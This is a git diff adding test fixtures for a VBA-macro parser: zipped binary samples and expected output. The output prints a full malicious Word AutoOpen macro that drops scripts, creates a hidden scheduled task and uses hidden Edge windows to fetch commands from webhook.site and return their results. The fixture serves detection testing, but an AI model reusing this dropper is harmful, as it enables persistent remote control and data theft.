z?o+KGbhzXqb2gQRWI#A#RxU#3d5P-hEDev7WvhTPaHjsQuWOEyPjt!t_^EB>=r24c_Ux5ME*$f>6_L)87vTdYtGp|+ zQU<-Xm7!KO-w0oQA<_ZJy%2{2wV>Xwm7Ji-O_M^-nyQ-G{p}iB5g?#;_k)?2L!aAZ#>^mA)_C^ahu+~!?p(t3 zTi)tz@TS2`l4-)cSnT%6z?MU-*;+|!|D1+9oB4xac*mcts*@_=S zDplRL==-SfoZh7hdy5oBZckFvgkhbq*QpN(acU4fj@q|r>{jKX@cWT|qoJ3%)#eVe(sqXL>P?5mBLSwBmONAsZ;@8TAC9a=W<1WHt_JJNNw%N9 z%V}A|BffrWfTbjyh4T{A(^@u0_ES(IPHa#<^_K_HJw&IU#u9gLF1|#nA=@4OguY~~ z1-3kxW+^lgK>!_$zjxNZZ_L(Y7eAhZ#i=Zw*4V$O^4z@Tcz&E|7xsCNSl6uX-F)u}v| z8lHu@^mH6>Fdp=p{4E^N5q}_cl;Hp+}V9XH>@1kdL)4obLBM%l@->9=2_AR&hEAjbW99bc0;*eKiCcx)v_yNO)zJ1L_H{I=y z;B-T^uc7Jh*TCQb_M^RR1P_(?v>~mUow%%tY)rl;%Nl? z=p&$g>v(~B5kaIIV!tYUUcTIHNC@A*i!;C2M+LYQOc{o}{M!gS!QGs^uFgdpu&G|T z)w~9gs9Y>Os-i%_!O~3#G|A(au3YVSxZ9W~EsnObYl0(S(jd`{aSA2T&AioV5DiHW z*lbdy;2`O##IQg8p1u6i;>b4IEPZm*%4(&T7VoovNwz0$s5%wWUSjS6%xv+sk+P2g z&#G13*4aLQrRz%L@e_#9VeC<1_jD8*LtxZvCzaa2?xRvH(pq@7Bx%pRVtU%~+@U%m zmm>{-`=5P$OHn0`zci&1z!uTNtimCzhggmF1M1Z8q9gY(jaE_9S3!aYh7qxOSN~82 z0F=>#!Rquux`=purDQ~7ZMzz#ashybqWRRVKtFx;x~UX9<8O36qyr#8PS-gPi*q+- zi=@$3G7F9mUjaksqG#)+Z6uXW74rsVp1wbXLNR5nuBud`j@q}Nss_!?FNUg8FB0f` zru-Cw@VSOloV14_VfS!bG-^}6848;y&`1gi`$_stBh6q*fP30$H1p}-H$NMn2RcjK z3_JC$8nHSm%UahZ5~cH$>cj4#bKl{C8q%v`Sr!d-Kic`j)aKk>^Q{9(kRdfWezOM7 zkwCAqE?_^Lqki|ama*FVTf^rT&L~E@HkVgC8+f3%TcfgfQ|LghQ-)9AlFtOE7^Qtl z^=N;+$?KuR%4zgtrCE9+Oz0Z!lHusMc|6>oTpyZwOm0h@apUFGJ?Q({l)2qO=CPdh zZ_VS3Ob>1Z3*w%h@1tsG4?Ykm`CAT@h@CdITuDhKc%*hBnN29-@ct&_N)i4k8aEB? z`X3Fwz0@_Y=Tw)M4HEf04U;r~$c>YCr~ZA?;~m`DCBe7zTl1{&YIbfR_NGoHl9xJU zw)`yg%Oj(uNir{frhOWu9WXEK_$vnJ>41!-^^yH%m@%Az&Qb)uL z+R<~{=rq{VnP=Y6I}+w@V20`b`1zMRpLSD{BCVBm`A>Q!>uAjN$0NvWVjr6yzU8=? z+pvrW&OTU#d1Botvn^r{A}^R|ovB&63GZy7_%XbGR)9e?bQJ*h$V=~E#v|5j_~#|L zaaA;xoqPX!)z0qdxa&;$Xsa~%B*zrD_V-`C=VV_%^MM$R+uN;^#7hJv`=poPlzh{@ zkF!7atqZ(Y@1#tx(WgA$G&gkylbFi=Ry+_jWoid_g#4~gf4aCU6HS@;c}T|3xh+h0 z<<50KK7Z!?d7+PUq8_rb0h4V_zUZ64y6+)4ZPF-hcKHl;<$*h=3ropRln#Hw2-5l> z_&rzY)rpIvr;Y5e!iswJ+E0>0=xYBF8sT>gfcTNZ&8#)BhqEWOM@eWTxR3g*k5dNk zFA1bK_XV50CLQQkdC$1r=b?t4r0t6XWz5l+-J&_5-k66GC(D6CP^8I``IVSk|Cv!s zrskEx060QEK2jM!cm zuMcBmnm_n1s12NG4dK(`r;PWGsxq`;7~S+mf|`5V7h34Z18pi>n#06VN2IldAV zBl^?g^e^Sh69)3e6i$qD*H+&k=Tjn8OA8k>cB6SYOjVo2E~e|O>frRaq;&q?%|{*( zb~DlVg|8>o^`<{wuumk$iK>3=k0V;}=;T2#fdzC%us5Kk9RCcDi}c5DT-tlD>&EZ0qWDEXL4Ej^G!>G!|9m&H0L};HXK>89CQyX~G zfj*G*3d8kycel|{jz7t0R+%uer8N{-vFz3{_oSA>-mbB3{-B#ZCQ(2}<9q&Q&m)zG zS5=_vmb`Zfdpxr2tPY%~{Vm`xjA1{u$xp z?SHI+HI=yH@OaN&h=S9hU3K%^wQJ!3@kq!CCyhJuTg|Ee4X%ZlvDOFxX6EEqz(DDx zk`M+QZ}&%P<#6WTxpLM})x);_%Sk*mIPMk9J2v-Sz_GxiC8OR7NnueE4ie-&Y zq>`nQq6>Q)EjjNij!}B|XZou@^72xN%JHtam#uv2*$0pcwC-k^gnJsc(eQLf5TRDx zdvncs(1)F@eC-3r|m&~j+=uZSmo>5@>L=kI@qr~f(H=;K;r>m^()NeE4jT+dq7 zQ9N^z@P%%MGLD9V2kbaNsXXq#mS$UeLf5#y-5dvcIDLaXtAY01xf6Y6Zl%sX8{nBL zSDbrV`h+C;>s6sc*8(Kl>21W5nMn?k()#kZhgMxTJ@g=io|#N|ccz72-frJ>zBI1h z=RxVShtNq}NNV^k_~|2J^XM)9Tcm>nB~1@p6c}&g^89`YBa zslzIG$U9+~kFtdaHa=IEeec5cSfH6utKBxkm5z*~L9LO?t&cLB4%E%c(br4J+lb1- zs;W@6eWHpPCRT}Q*CEHw!~bH>GOE8~D3^JAb^17ocwaC{Ab18lq?YuQnFe)yTEd#W#@Ml=aS=<}O>FlZ^afbJ z;9ykuG5n-ETmdDg(s{U}>Y9GFd0acinZ-KjktAzDT)Ud~FS$Oo=}UC`~|qY{*;%FHRfcoTJs#(b{a zHGhhC;i>10G8Sb-HhU2IQeA`@#q&PJ8l1B-9`xMvr6G2WFj9r_{A0#Hl{B@VLXgJI zb`xyWy@I0B!qXOMCQPGh_(%t?ppqw(nA z1|?Yfa_OcecMBnp#lPX{Em_1F->rZ(8@SB0fksc6Tu9y)4#1?6i~V2DR6ny^#RGxJ z$_BnHV^fp8O1co6`oFgmK?^j$fEX?Yd6zCEaZZ4SCc>rLPtiqkX z>Y9iZwkG@PRUKfS)-D>N^Bxi2?wQAYLGZWk@eG~(3(KVs4tsduv-nH0yUn<|4a?7$ zUnZ8Bk~xhej)KYyM~t!ql6KjO1(dg$+I2GYUM1nuC3eDKPe=z3F~Orr*?nXW>O4+S zJqAIr9c9&JBT~Xgk;H7E5Mo6R8SU+76a4s}h$5BIQmW|~t)m?E;Zu&EUokc<5~KrM zds{lLoCae&YNNzrvyAAE>?mAhj*46sdyx?U6b## z^rtnj8=DnuM-(A&%H&u+9yU?ie6*LPa3_MZ9j+XdGscqoiIua@V`MBbp7_qB>YYO0 z79Md>t}+TbHKTbezzrWS$d|}IW}rO*ur%?{f$3p#YikAyF~#w3di$vEKikveDHcQB zt-@9Rwy3P6yVwg2-eQs*pVl6Pp7s9GAx*&=J@5HkZ$5U*_q@cDe`CD97?*rx(S2uV z*cN=)Qa`nvs*4vhC_zFI z0^P(!@AN$Xy^ghXgA3`5GglvYgBmSt+v|`P~LpOy-%>zSJuh}u0HaOgVF=?Em zFfnR)LABbQrn@4rJN0EbYn^f*a90~_P%Y$~c5B?+)=&;r-#6VRg!6A2xr%>~szkxb zo@)<9uV_WPSNlE`MDJ3BL<*Jz@<%)CO_d1nUX%j$clk(y>0a;<1JZShtJ??{Obg7>c`vAi`tiAaAklq;`RdnM1-#p+Wxga%-% z=318?&DX{W3`!ZJOT_0wbYP3IiBu4bWr#SonX6^-J-TmX#KbTxg5B|AO3VgQ!BK5v z$E^C^z8}dOdw5V6v9W_yfEC67QDBV1imKAA$gb0bN&w0GXCf7_JHY5XUK=j8Mz#f) z+~TtW$FlrN?iCq%`}iPRXVy-LKCuagh8}jzyizskfzeFvlgPj!_ zN19fFlrO9_ATG!;OgsWtE41l|?C0Fbk_|t^%!F?cawDUl8exBA8vm&ut~n1rfc?I9 z&O0t%YPq#iZpPm0^<@4F?=CPHzIUyAZfUmQ^*htAv+M2q>N++RLy+FCty&&7xTs+y zN-$Vv`BLG)*GnaS`csI9O5Ky%ebh%UHMbh=eyc4!ILuCXcS?OOkT=7^OZ6Cam1|~F zk%?r`{H5Y-`_A`yg$e_8%(C+)4>UHWpn%G*mL~PxyBvewF(9oH5*#>owg55~mUiU<3x*y(&Cq8Bsz;*X!5GBn9 zI&wljd)gC>IbvVM*B&zWT|PH!&Su>@2pH~)Ymd}Y38GZEh?Co7{L)_o`fUZJaYr09 zLq8yw=kxF2np*=BOclg+VI4bP8jUbJE&}G`N=F3FG(pjzx(yv-s?$?|~I}Obu)?7-D#X z=JQ{0QK&o!jU?eYiFq!2wF|yWjE-v%vPRV$!_~5X)~Dz`b2AFWpUKa4n*Hqw2@*QJ z$J`WzI={M~=eftiaf3!u_QTowMA>UKHhuTPs*FzE`=};}qhLhizM?q7uCj#>4TU%F z*Y4H?@)`@_{@lGrRqhCY1bP!^<}*5y@j%1~1^zqn1Qt5GLB~VgHN;_fQ4s4rcLc6l zjK->xxVk|26a_wznDV_k&06jr&2&4d7t9*YL4o9zw{#LNprOciRQ}rj319GB40(^& ze*z7Coq$_J9TtNOTc^DfsT-64p7&EIK$M=}Bam_t`{eyOnSb5rXXt7u_N-Tn16*EQ zZdWHH)hS~ux^2&kX>e>lYOO|g_;fC%_Pc~0Ui#i+g^j;x!NUvQy`gYtpy zP|eEs2=$x(+l}F}$r&k6GHF~Q-kNuymL99 z^Y+Pww5ybPr(isk9Ql6U4;uZT<--NjX^0B>8;NndnYm1W$r;i7S1UaBQ|yqVp-lKrR%)Hi9NqvAV4k&73; zYPEg}rI0^)|5=BUU3#FKmrjIoK2VNYr?PiE!^_H}auxLeIWADccyPw_uUoFKKV5ki z2x-699l=a9B43|s>j?9Pz6t|zD_0tGGj|kJuz%Ha9--HX$_^}-D(}YJpb5+Y@zpRN ztRd6jvKqbJ2iHZ4K((DwyylK~tI@KLtUL{IPKsZv#~}@?lwWKi0POBSqH#sh2eXUV zqy}y+Ig=G|zRi%6`m;V46=%=-7Zt-8a6BX`G5nTp9lG{O8S32lzopaxd0~OCO$U$6 zmG(4Q00U?!2zW8^+A(G}WrQKd*7Hfk1cAV4Ue@zSBYxG+t9*c~^VQXRO{@mAm0H!& zLdk4PDGN~ElX+eN6#+D~&mftpS`KiU>D2j7xciD^fj`MHaB0ZSi{n|~_leh?EN>?FV;$_(3eYWv#uf*c}ol)hs`(4Gj z&qZ^boZJeYX55H=vxC)w*q-FmBQ(?aYhnPE3H8Bgc3M z>Gd4H?IZ)SR;QcJS^Jr*hbV2WqKEEQck2Dwz`0)}29v;6etJX12nNi-@TWwU;ODB> z_t|DqKbrl=y#&chpRWN;f_u>nRk`5~UoAn`|6mJ7df2awo!-U2aJVR;7SB#lUiggW zPDFkHK1<2FGT0Ks_w;<(%*Sh~R-?1{+&T(rZA3sKJHp%N>&QK!^H-90`w<3lzf%PB z0qds^_*}e6Ka@le1JudKDmkc;AWleE7KCv2Q;xep38#UHxaRb_V|kXcFSr z+Hn_K)j3TF_7zs>e1!3A+jb-Fl<20uWlM-^#379&%_O*Y*k-ZDhGco?o&#r8_ugA zoHX)Na5wypRNRimBNza7TUDh_dVUiGN<5#oM2VPz;?-f>m9wTaoyEjH_cd|LRa6H(OYBx7Fd!xr*``$i-s3P;j5r>DJdwI_>^K*sN{jLjLP$Sjd04x5;T zzptAbo^KHcNEZq;aznFtsLFW1%^drBE*tXa&^Pv)_q=0OB-L1`>FdHLB7{Y-1OgRb9t9*X|rp~4S!e67+`O3Z_H88P@Ugyc7%ya(s{h^=dWG* zB7jaAws+BkZbgjO_Bq&Xng#S>z(pQ%bv^7J>qPk2E+BQ2ywF^-850I#x$l>d zch|c4F@@uBvq(G^fBTfOEX>5-#2ldeSEx8x{@Wk79=Pal(MXB@wKVCGSz{h;;*#3C zNRcb|e1R`~9T@e#F7i%t?n-dqVpyvtU7n14#Ck$&8hc+|-wn*In9 zT7`YlMcr?jQ=uatB?hl>Y0xXTIs_Zxev_F|8ReRM z0)~7o`OE~y%w$#{60O~CuBhb|6h0vj#Pi5}P+{Nhov6#=Q&Gh#r?Uy>xX+?IVdf)- z;u`Umo?apu0S{_lGi&wTu5=n!@F~Wr66kV=-&vgXcuVVu{DR!=l(nzLGE?*n5lcUf z2xBxI^(Poiy_q%H_MScsw}}mc{Ed{fjDFFPfy}GN46($X?`z3S+Q4j%jJfl<F{>n6JFL`cD!)hd{Tp zvysa1`V4cmea_-E)vOGD<(}Y4R{W@hz6!N5GyC4j)oZr#%0luuHmyRV-7_>>b-3m9 zl{_;*Zh-t%1XO{AA~mQ&yg2oV)DcIz28Rr=*prWvS)j5(AgqUJxT`dctjrL zVcn_sL=^|YX;KM}@DznZbNSfbBb|A>WMvp>Q z7=f5z5>cxb91$oQK@Ev$L?rnD|I=@_yUkx6f-YZf`gPQR9y$7Uc&J;#(j;Yn-dCky zZ;Nd#wJRg~&1r{fBtc-MQzrh4VcIy$D^ryTuE_4}=Cqhr!=NAUOFNNn)3p~l9dcNf z&(>cBmIqG$a?Gu(>TsiGi5tA=uPEqZ=sNJWyWjs-!lE(A<@IKB-pU&N!M9Br)sH`e z0>svyu7abG>GtzkH%Ol@tPj&Is5n^kQA0Z7@G6hFbcHqMF^dYixyTxkKB_O9vz_lS zpKt(O^6lI7j$6;h%z{X*JC`qa8*J~f{W$-q+Q|YwB@cwMR5xXP;JC&1@ly|2>7~~0 zDJ7ZwEsTF#(ydIVcUv!tfg)RJWau;Dy;YDm3k*|@r19S+7IX&Yw)vr_9zkJam6yt}wx35&P`q8a zDEUXh8U8YtYPls=ulb|P@pp`fDwo#3;8P1JC2Z$sUV9~TC%;?TJQ=P^B7Dme1FA|< z!m)+kC{uz{UAceb8kpryOA>R-MKu*&J~n1Gk;*>k`0jpRAgWz3pz)+a!7Erlu;r*g zlSg_ySCPVTRxLt`uc%{{F-h#tN|H`4P~g-*( zp6zQ`VQrxjlo(f5C64O49GS8d3udXw4-(NDrN4( ziFVdnvja;>egz*oX-o&!=e{ZY1*&_f=S>ry#@bq5C=O*|Uw0iweWh&UQYvX9&0Kxy zN`e0B+4zq8${%rRrj9T?sX`V_8sNywBb2I$(^`UkpaAusYIMMb$Tk$NJsHy>iPQ^k(OJ+xNz;pyZ!%4*YPYQq%)1OG zNquddE|I;nr~_tj6o2kiN(_~ZrJEOsXx!g~tUjG?$=hSPeLfI8rQ6HhmlXOwNcL@# z2la?GQ9I2VyQ@HpPVRlyx3t`@z)-AkBr|uG)Mv&7{H4b6hKWqR=20JdZ7qk!58~7AfYeZy$%$iJilO4F82Wh&tU48zGRSYA z`(+KB{MJ95v?>$C6z)rsgu9}r6pP)%JXE2Fr{2);{C`1h=;@zL$s4AuRAMxAw)jZu!&Hr1l=rWr9OxAkrMY$7!(w@Ff;)Nyf6 zbU^tjlNXqdS)bTDbSI)@zh@?gBW zO$`2BAIJ3PB0|I>wr?J&CS~Xl(Kdt9ciT@Q5F+CJI^nHFa(~c!Z`%(&U(En}mFLaD z-)0h!<%fzsKNj*yX$A%b;Xj}S?YjphX-806v?#uT0~D@NZstY&Mg>7cqIFJz|FUGF zzRgB#fai75EwqqA!8hnE-v(`$w<#q}?{h$?MtQpJJpb4|7r(77NZOGV@jtu13AFvf z|Hn}b9RY+Fydv9!e?Z-F|8|uB*M|~lpKse+2kuRXFIgD1yh-rq{sPA;c=UX10-2>r zWlb&;>iOs8Tt78`zklPwH238D5;xRPw(%g5r`o7LdsJo6#042-T@vPnT%i9u#TkjL z>S0FS^x`?TC47iBew;&}(^?qe+2~p#FkEz$A$NKHy`PoV5XKl6v4*bgfpG3#{ENI! zNKg=+U^2aOCW{aOwdwPls#yb9mq7R*Cx0;fCA>czy79e3+UI;#&7!|Wa7%$73`TGh zqiv#)dE~^hK%}e(+#6B?-MH=6eCv9M8qtm9r1#B!x`S(td;dwR6tpSH-(?j~ZUg26gQ!((tjyFrCsjvf8BATd z$E)u=eWpYe!~3*d5;SneY7#GJ9XP>g;p;Ui*gW=LZ<*q2>b01`TTDRHZ^5{7S+5BM zCY<49Fc-3#yUG)TcqmS!YpmC6it|riv&#Nsd?iLjPRpe-$bZaez4nU?jH)^!<1vZU z$`kR-|NBW$oLfzBptobI$+IDoHIJCZOVvG|t}|qii+DY`QG3}ui|6qWsVf+eiOx58 zJhwIm7jMge{*u^X;(m=YrwuXSVcWc)x8GQ-VgU%PDIcCB*CaB8eo7j11@|z6R7Vx$ z`qeNcIxTN-e4rB#(a);hZI7i!)tC|1&_NJQRppvkye8NXyf_zQKB zrOEtwYd#qRxvt-yzv~998Z-9K@!v2dil7y5)$wc!vOfRbTrBOt-)#$KjJWcVOUBbx zpt6toa?xw=%Xj>V4ZtXBU{a@)QQ1+^p5nYpJ=AJ2zbPOxajwGp?_C* zXg|P_MjbrxG*t&rOLj?GrKjZ;@js?zx?H2>6}_ud^DLU$JTXq#{K_m!xle;R9gy>N zlpwh%r{Z6}%^0F{#C?TNu)#JB_U?p^ffB}6PkcgC+fTuM91@GS8Wf3fkb*Yq(ZMjnbew5DoSm? z-Bog0A9MHwoI%G$%Lkz?`}$&L@}c76^Gkk`L433-_) zq&APtRj4@TqUR$nVKkEe!$BIk!wE%DEAK?wq@ifE8qdWximM$|b4*_)OzzD>sb`<- uo;`Pi?!V5+r6uM5=kw#;ztjJR{M_fd7cTzm>MZT+Lpy(_rT?Be^WOk8{E7wu literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out new file mode 100644 index 00000000..13e9dd5f --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out @@ -0,0 +1,131 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + - name: "Module1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module1" + Sub AutoOpen() + + Set FSO = CreateObject("Scripting.FileSystemObject") + Set File = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".v" + "b" + "s", True) + File.Write "Create" + File.Write "Object" + File.Write "(""WScri" + File.Write "pt.shell"").R" + File.Write "un """""""" & WScri" + File.Write "pt.Arguments(0) & """""""", 0, False" + File.Write "" + File.Close + + Set FSO2 = CreateObject("Scripting.FileSystemObject") + Set File2 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".b" + "a" + "t", True) + File2.WriteLine "@echo off" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.f04""" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.tmp""" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.crdownload""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "start """" mse" + File2.Write "dge --window-size=1,1 --window-position=10000,10000 --ignore-certificate-errors " + File2.WriteLine "data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnaHR0cHM6Ly93ZWJob29rLnNpdGUvNjhmZjE2NzktOTc0Yi00ZDE1LTljZTAtNzk5ODkyYzYzZjA0Jyk8L3NjcmlwdD4=" + File2.WriteLine "timeout 20" + File2.Write "se" + File2.WriteLine "t outfile=%random%%random%%random%.f04" + File2.Write "typ" + File2.Write "e ""%userprofile%\Downloads\*.f04"" >> ""%userprofile%\%outfile%.c" + File2.WriteLine "md""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\Downloads\*.f04""" + File2.Write "ca" + File2.Write "ll ""%userprofile%\%outfile%.c" + File2.WriteLine "md"" >> ""%userprofile%\%outfile%"" 2>&1" + File2.Write "co" + File2.WriteLine "py ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.htm"" + ""%userprofile%\%outfile%"" + ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xhtml"" ""%userprofile%\%outfile%.html""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "start """" mse" + File2.Write "dge --window-size=1,1 --window-position=10000,10000 --ignore-certificate-errors " + File2.WriteLine """%userprofile%\%outfile%.html""" + File2.WriteLine "timeout 20" + File2.Write "de" + File2.Write "l /q /f ""%userprofile%\%outfile%.c" + File2.WriteLine "md""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\%outfile%""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\%outfile%.html""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "" + File2.Close + + Set FSO3 = CreateObject("Scripting.FileSystemObject") + Set File3 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".c" + "m" + "d", True) + File3.Write "echo ^^^^SYSTEM^^^^^^PT61M^^false^^^2020-05-04T00:20:47^^true^^^^^^LeastPrivilege^^^^^Parallel^^false^^false^" + File3.WriteLine "^true^^true^^false^^^true^^false^^^true^^true^^false^^false^^false^^PT1H^^7^^^^^%%userprofile%%\68ff1679-974b-4d15-9ce0-799892c63f04.vbs^^%%userprofile%%\68ff1679-974b-4d15-9ce0-799892c63f04.bat^^%%userprofile%%^^^^>""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml""" + File3.Write "scht" + File3.WriteLine "asks /create /xml ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml"" /tn 68ff1679-974b-4d15-9ce0-799892c63f04 /f" + File3.Write "de" + File3.WriteLine "l /q /f ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml""" + File3.Write "de" + File3.Write "l /q /f ""%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d.v""" + File3.WriteLine "bs" + File3.Write "de" + File3.WriteLine "l %0" + File3.Close + + Set FSO4 = CreateObject("Scripting.FileSystemObject") + Set File4 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d") + ".v" + "b" + "s", True) + File4.Write "Create" + File4.Write "Object" + File4.Write "(""Wscri" + File4.Write "pt.Shell"").R" + File4.Write "un CreateObject(""Wscri" + File4.Write "pt.Shell"").ExpandEnvironment" + File4.Write "Strings(""%user" + File4.Write "profile%\68ff1679-974b-4d15-9ce0-799892c63f04.c" + File4.Write "md"")," + File4.Write " 0, True" + File4.Write "" + File4.Close + + Set FSO5 = CreateObject("Scripting.FileSystemObject") + Set File5 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.htm"), True) + File5.WriteLine "

" + File6.Close + + Shell "explorer " + CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d") + ".v" + "b" + "s", vbNormalFocus + + MsgBox "Word experienced an error trying to open the file." & vbCrLf & "Try these suggestions." & vbCrLf & "* Check the file permissions for the document or drive." & vbCrLf & "* Make sure there is sufficient free memory and disk space." & vbCrLf & "* Open the file with the Text Recovery converter." + + End Sub + + +project_info: + name: "Project" + version: "1800149595.7" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..1ab18d6006a73cb56623e9b4c9f1dd31c6162c8c GIT binary patch literal 23278 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 